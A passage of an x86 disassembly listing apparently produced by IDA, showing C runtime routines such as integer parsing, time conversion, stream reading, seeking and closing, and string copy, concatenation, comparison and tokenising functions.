		cmp	bl, 30h
		jz	short loc_414B95
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_414BC7
; ---------------------------------------------------------------------------


loc_414B95:				; CODE XREF: sub_414B02+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_414BA8
		cmp	al, 58h
		jz	short loc_414BA8
		mov	[ebp+arg_8], 8
		jmp	short loc_414BC7
; ---------------------------------------------------------------------------


loc_414BA8:				; CODE XREF: sub_414B02+97j
					; sub_414B02+9Bj
		mov	[ebp+arg_8], ecx


loc_414BAB:				; CODE XREF: sub_414B02+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_414BC7
		cmp	bl, 30h
		jnz	short loc_414BC7
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_414BBF
		cmp	al, 58h
		jnz	short loc_414BC7


loc_414BBF:				; CODE XREF: sub_414B02+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_414BC7:				; CODE XREF: sub_414B02+91j
					; sub_414B02+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_414BD7:				; CODE XREF: sub_414B02+16Cj
		cmp	dword_4379BC, 1
		movzx	esi, bl
		jle	short loc_414BEF
		push	4
		push	esi
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_414BFA
; ---------------------------------------------------------------------------


loc_414BEF:				; CODE XREF: sub_414B02+DFj
		mov	eax, off_4377B0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_414BFA:				; CODE XREF: sub_414B02+EBj
		test	eax, eax
		jz	short loc_414C06
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_414C38
; ---------------------------------------------------------------------------


loc_414C06:				; CODE XREF: sub_414B02+FAj
		cmp	dword_4379BC, 1
		jle	short loc_414C1A
		push	edi
		push	esi
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_414C25
; ---------------------------------------------------------------------------


loc_414C1A:				; CODE XREF: sub_414B02+10Bj
		mov	eax, off_4377B0
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_414C25:				; CODE XREF: sub_414B02+116j
		test	eax, eax
		jz	short loc_414C73
		movsx	eax, bl
		push	eax
		call	sub_418AF1
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_414C38:				; CODE XREF: sub_414B02+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_414C73
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_414C5D
		jnz	short loc_414C57
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_414C5D


loc_414C57:				; CODE XREF: sub_414B02+147j
		or	[ebp+arg_C], 4
		jmp	short loc_414C66
; ---------------------------------------------------------------------------


loc_414C5D:				; CODE XREF: sub_414B02+145j
					; sub_414B02+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_414C66:				; CODE XREF: sub_414B02+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_414BD7
; ---------------------------------------------------------------------------


loc_414C73:				; CODE XREF: sub_414B02+125j
					; sub_414B02+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_414C91
		test	edx, edx
		jz	short loc_414C8B
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_414C8B:				; CODE XREF: sub_414B02+181j
		and	[ebp+var_8], 0
		jmp	short loc_414CDE
; ---------------------------------------------------------------------------


loc_414C91:				; CODE XREF: sub_414B02+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_414CB7
		test	cl, 1
		jnz	short loc_414CDE
		and	ecx, 2
		jz	short loc_414CAE
		cmp	[ebp+var_8], 80000000h
		ja	short loc_414CB7


loc_414CAE:				; CODE XREF: sub_414B02+1A1j
		test	ecx, ecx
		jnz	short loc_414CDE
		cmp	[ebp+var_8], eax
		jbe	short loc_414CDE


loc_414CB7:				; CODE XREF: sub_414B02+197j
					; sub_414B02+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_74222C, 22h
		jz	short loc_414CCD
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_414CDE
; ---------------------------------------------------------------------------


loc_414CCD:				; CODE XREF: sub_414B02+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_414CDE:				; CODE XREF: sub_414B02+18Dj
					; sub_414B02+19Cj ...
		test	edx, edx
		jz	short loc_414CE7
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_414CE7:				; CODE XREF: sub_414B02+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_414CF5
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_414CF5:				; CODE XREF: sub_414B02+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_414D05
; ---------------------------------------------------------------------------


loc_414CFA:				; CODE XREF: sub_414B02+66j
					; sub_414B02+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_414D03
		mov	[eax], edi


loc_414D03:				; CODE XREF: sub_414B02+1FDj
		xor	eax, eax


loc_414D05:				; CODE XREF: sub_414B02+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414B02	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D0A	proc near		; CODE XREF: sub_4041D7+4BDp
					; sub_40CC09+3306p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_414B02
		add	esp, 10h
		retn
sub_414D0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D21	proc near		; CODE XREF: sub_4041D7+266p
					; sub_4041D7+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_413E90
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_418BBD
		add	esp, 10h
		leave
		retn
sub_414D21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D55	proc near		; CODE XREF: sub_4041D7+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:off_41F100
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:off_41F154
		mov	ax, [ebp+var_16]
		cmp	ax, word_742222
		jnz	short loc_414DBA
		mov	ax, [ebp+var_18]
		cmp	ax, word_742220
		jnz	short loc_414DBA
		mov	ax, [ebp+var_1A]
		cmp	ax, word_74221E
		jnz	short loc_414DBA
		mov	ax, [ebp+var_1E]
		cmp	ax, word_74221A
		jnz	short loc_414DBA
		mov	ax, [ebp+var_20]
		cmp	ax, word_742218
		jnz	short loc_414DBA
		mov	eax, dword_742210
		jmp	short loc_414DFF
; ---------------------------------------------------------------------------


loc_414DBA:				; CODE XREF: sub_414D55+28j
					; sub_414D55+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	ds:off_41F150
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414DE7
		cmp	eax, 2
		jnz	short loc_414DE3
		cmp	[ebp+var_32], 0
		jz	short loc_414DE3
		cmp	[ebp+var_24], 0
		jz	short loc_414DE3
		push	1
		pop	eax
		jmp	short loc_414DEA
; ---------------------------------------------------------------------------


loc_414DE3:				; CODE XREF: sub_414D55+7Aj
					; sub_414D55+81j ...
		xor	eax, eax
		jmp	short loc_414DEA
; ---------------------------------------------------------------------------


loc_414DE7:				; CODE XREF: sub_414D55+75j
		or	eax, 0FFFFFFFFh


loc_414DEA:				; CODE XREF: sub_414D55+8Cj
					; sub_414D55+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_742218
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_742210, eax
		pop	esi


loc_414DFF:				; CODE XREF: sub_414D55+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41966E
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_414E2F
		mov	[ecx], eax

locret_414E2F:				; CODE XREF: sub_414D55+D6j
		leave
		retn
sub_414D55	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414E31	proc near		; CODE XREF: sub_404857+7Cp
					; sub_405A21+4B5p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_414E46
		or	eax, 0FFFFFFFFh
		jmp	short loc_414E80
; ---------------------------------------------------------------------------


loc_414E46:				; CODE XREF: sub_414E31+Ej
		test	al, 83h
		jz	short loc_414E7E
		push	esi
		call	sub_419849
		push	esi
		mov	edi, eax
		call	sub_4197E3
		push	dword ptr [esi+10h]
		call	sub_419730
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_414E6C
		or	edi, 0FFFFFFFFh
		jmp	short loc_414E7E
; ---------------------------------------------------------------------------


loc_414E6C:				; CODE XREF: sub_414E31+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_414E7E
		push	eax
		call	sub_413F7F
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_414E7E:				; CODE XREF: sub_414E31+17j
					; sub_414E31+39j ...
		mov	eax, edi


loc_414E80:				; CODE XREF: sub_414E31+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_414E31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E87	proc near		; CODE XREF: sub_404857+4Ep
					; sub_405A21+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_414EAB
		xor	eax, eax
		jmp	loc_414F54
; ---------------------------------------------------------------------------


loc_414EAB:				; CODE XREF: sub_414E87+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_414EBE
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_414ECA
; ---------------------------------------------------------------------------


loc_414EBE:				; CODE XREF: sub_414E87+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_414ECA
; ---------------------------------------------------------------------------


loc_414EC7:				; CODE XREF: sub_414E87+C4j
		mov	ecx, [ebp+arg_0]


loc_414ECA:				; CODE XREF: sub_414E87+35j
					; sub_414E87+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_414EFC
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_414EFC
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_414EE1
		mov	edi, eax


loc_414EE1:				; CODE XREF: sub_414E87+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4138F0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_414F47
; ---------------------------------------------------------------------------


loc_414EFC:				; CODE XREF: sub_414E87+49j
					; sub_414E87+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_414F2F
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_414F12
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_414F12:				; CODE XREF: sub_414E87+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_4199F4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414F59
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414F5F
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_414F47
; ---------------------------------------------------------------------------


loc_414F2F:				; CODE XREF: sub_414E87+78j
		push	esi
		call	sub_41991B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_414F63
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_414F47:				; CODE XREF: sub_414E87+73j
					; sub_414E87+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_414EC7
		mov	eax, [ebp+arg_8]


loc_414F54:				; CODE XREF: sub_414E87+1Fj
					; sub_414E87+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_414F59:				; CODE XREF: sub_414E87+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_414F63
; ---------------------------------------------------------------------------


loc_414F5F:				; CODE XREF: sub_414E87+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_414F63:				; CODE XREF: sub_414E87+B2j
					; sub_414E87+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_414F54
sub_414E87	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F6F	proc near		; CODE XREF: sub_414F8F+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_419D5A
		test	eax, eax
		jnz	short loc_414F79
		retn
; ---------------------------------------------------------------------------


loc_414F79:				; CODE XREF: sub_414F6F+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_419BEA
		add	esp, 10h
		retn
sub_414F6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F8F	proc near		; CODE XREF: sub_404857+2Ap
					; sub_405A21+134p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_414F6F
		add	esp, 0Ch
		retn
sub_414F8F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414FB0	proc near		; CODE XREF: sub_4048F1+2BFp
					; sub_408296+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415021
sub_414FB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414FC0	proc near		; CODE XREF: sub_404ECE+15Dp
					; sub_408296+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_414FDC


loc_414FCD:				; CODE XREF: sub_414FC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41500F
		test	ecx, 3
		jnz	short loc_414FCD


loc_414FDC:				; CODE XREF: sub_414FC0+Bj
					; sub_414FC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_414FDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41501E
		test	ah, ah
		jz	short loc_415019
		test	eax, 0FF0000h
		jz	short loc_415014
		test	eax, 0FF000000h
		jz	short loc_41500F
		jmp	short loc_414FDC
; ---------------------------------------------------------------------------


loc_41500F:				; CODE XREF: sub_414FC0+12j
					; sub_414FC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415021
; ---------------------------------------------------------------------------


loc_415014:				; CODE XREF: sub_414FC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_415021
; ---------------------------------------------------------------------------


loc_415019:				; CODE XREF: sub_414FC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415021
; ---------------------------------------------------------------------------


loc_41501E:				; CODE XREF: sub_414FC0+39j
		lea	edi, [ecx-4]


loc_415021:				; CODE XREF: sub_414FB0+5j
					; sub_414FC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415046


loc_41502D:				; CODE XREF: sub_414FC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415098
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41502D
		jmp	short loc_415046
; ---------------------------------------------------------------------------


loc_415041:				; CODE XREF: sub_414FC0+9Ej
					; sub_414FC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_415046:				; CODE XREF: sub_414FC0+6Bj
					; sub_414FC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415041
		test	dl, dl
		jz	short loc_415098
		test	dh, dh
		jz	short loc_41508F
		test	edx, 0FF0000h
		jz	short loc_415082
		test	edx, 0FF000000h
		jz	short loc_41507A
		jmp	short loc_415041
; ---------------------------------------------------------------------------


loc_41507A:				; CODE XREF: sub_414FC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415082:				; CODE XREF: sub_414FC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41508F:				; CODE XREF: sub_414FC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415098:				; CODE XREF: sub_414FC0+72j
					; sub_414FC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_414FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150A0	proc near		; CODE XREF: sub_4048F1+2B2p
					; sub_404ECE+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_4150B9:				; CODE XREF: sub_4150A0+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_4150B9
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4150E1
		mov	edx, dword_742228


loc_4150E1:				; CODE XREF: sub_4150A0+39j
					; sub_4150A0+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_415101
		test	al, al
		jz	short loc_415101
		inc	edx
		jmp	short loc_4150E1
; ---------------------------------------------------------------------------


loc_415101:				; CODE XREF: sub_4150A0+58j
					; sub_4150A0+5Cj
		mov	ebx, edx


loc_415103:				; CODE XREF: sub_4150A0+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_415127
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_415123
		inc	edx
		jmp	short loc_415103
; ---------------------------------------------------------------------------


loc_415123:				; CODE XREF: sub_4150A0+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_415127:				; CODE XREF: sub_4150A0+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_742228, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_4150A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415140	proc near		; CODE XREF: sub_40517E+1B4p
					; sub_406059+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_4151C3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_415164
		shr	ecx, 2
		jnz	short loc_4151D1
		jmp	short loc_415185
; ---------------------------------------------------------------------------


loc_415164:				; CODE XREF: sub_415140+1Bj
					; sub_415140+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_415192
		test	al, al
		jz	short loc_41519A
		test	esi, 3
		jnz	short loc_415164
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4151D1


loc_415180:				; CODE XREF: sub_415140+8Fj
		and	ebx, 3
		jz	short loc_415192


loc_415185:				; CODE XREF: sub_415140+22j
					; sub_415140+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_4151BE
		dec	ebx
		jnz	short loc_415185


loc_415192:				; CODE XREF: sub_415140+2Bj
					; sub_415140+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41519A:				; CODE XREF: sub_415140+2Fj
		test	edi, 3
		jz	short loc_4151B4


loc_4151A2:				; CODE XREF: sub_415140+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_415236
		test	edi, 3
		jnz	short loc_4151A2


loc_4151B4:				; CODE XREF: sub_415140+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_415227


loc_4151BB:				; CODE XREF: sub_415140+7Fj
					; sub_415140+F4j
		mov	[edi], al
		inc	edi


loc_4151BE:				; CODE XREF: sub_415140+4Dj
		dec	ebx
		jnz	short loc_4151BB
		pop	ebx
		pop	esi


loc_4151C3:				; CODE XREF: sub_415140+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4151C9:				; CODE XREF: sub_415140+A9j
					; sub_415140+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_415180


loc_4151D1:				; CODE XREF: sub_415140+20j
					; sub_415140+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4151C9
		test	dl, dl
		jz	short loc_41521B
		test	dh, dh
		jz	short loc_415211
		test	edx, 0FF0000h
		jz	short loc_415207
		test	edx, 0FF000000h
		jnz	short loc_4151C9
		mov	[edi], edx
		jmp	short loc_41521F
; ---------------------------------------------------------------------------


loc_415207:				; CODE XREF: sub_415140+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41521F
; ---------------------------------------------------------------------------


loc_415211:				; CODE XREF: sub_415140+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41521F
; ---------------------------------------------------------------------------


loc_41521B:				; CODE XREF: sub_415140+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41521F:				; CODE XREF: sub_415140+C5j
					; sub_415140+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_415231


loc_415227:				; CODE XREF: sub_415140+79j
		xor	eax, eax


loc_415229:				; CODE XREF: sub_415140+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_415229


loc_415231:				; CODE XREF: sub_415140+E5j
		and	ebx, 3
		jnz	short loc_4151BB


loc_415236:				; CODE XREF: sub_415140+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_415140	endp


; =============== S U B	R O U T	I N E =======================================



sub_41523E	proc near		; CODE XREF: sub_405A21+2E2p
					; sub_405A21+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4152BA
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41525D
		cmp	edi, 1
		jz	short loc_41525D
		cmp	edi, 2
		jnz	short loc_4152BA


loc_41525D:				; CODE XREF: sub_41523E+13j
					; sub_41523E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_415274
		push	esi
		call	sub_419E6C
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_415274:				; CODE XREF: sub_41523E+27j
		push	esi
		call	sub_419849
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_415289
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41529D
; ---------------------------------------------------------------------------


loc_415289:				; CODE XREF: sub_41523E+42j
		test	al, 1
		jz	short loc_41529D
		test	al, 8
		jz	short loc_41529D
		test	ah, 4
		jnz	short loc_41529D
		mov	dword ptr [esi+18h], 200h


loc_41529D:				; CODE XREF: sub_41523E+49j
					; sub_41523E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_419DD2
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_4152C7
; ---------------------------------------------------------------------------


loc_4152BA:				; CODE XREF: sub_41523E+Bj
					; sub_41523E+1Dj
		mov	dword_74222C, 16h
		or	eax, 0FFFFFFFFh


loc_4152C7:				; CODE XREF: sub_41523E+7Aj
		pop	edi
		pop	esi
		retn
sub_41523E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152D0	proc near		; CODE XREF: sub_405A21+2ACp
					; sub_405A21+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_415301
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_4152FF
		jz	short loc_415301
		dec	ecx
		dec	ecx


loc_4152FF:				; CODE XREF: sub_4152D0+29j
		not	ecx


loc_415301:				; CODE XREF: sub_4152D0+9j
					; sub_4152D0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4152D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415310	proc near		; CODE XREF: sub_405F18+5Cp
					; sub_405F18+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_4153C4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41533A


loc_41532B:				; CODE XREF: sub_415310+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41536B
		test	edi, 3
		jnz	short loc_41532B


loc_41533A:				; CODE XREF: sub_415310+19j
					; sub_415310+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41533A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_415378
		test	ah, ah
		jz	short loc_415373
		test	eax, 0FF0000h
		jz	short loc_41536E
		test	eax, 0FF000000h
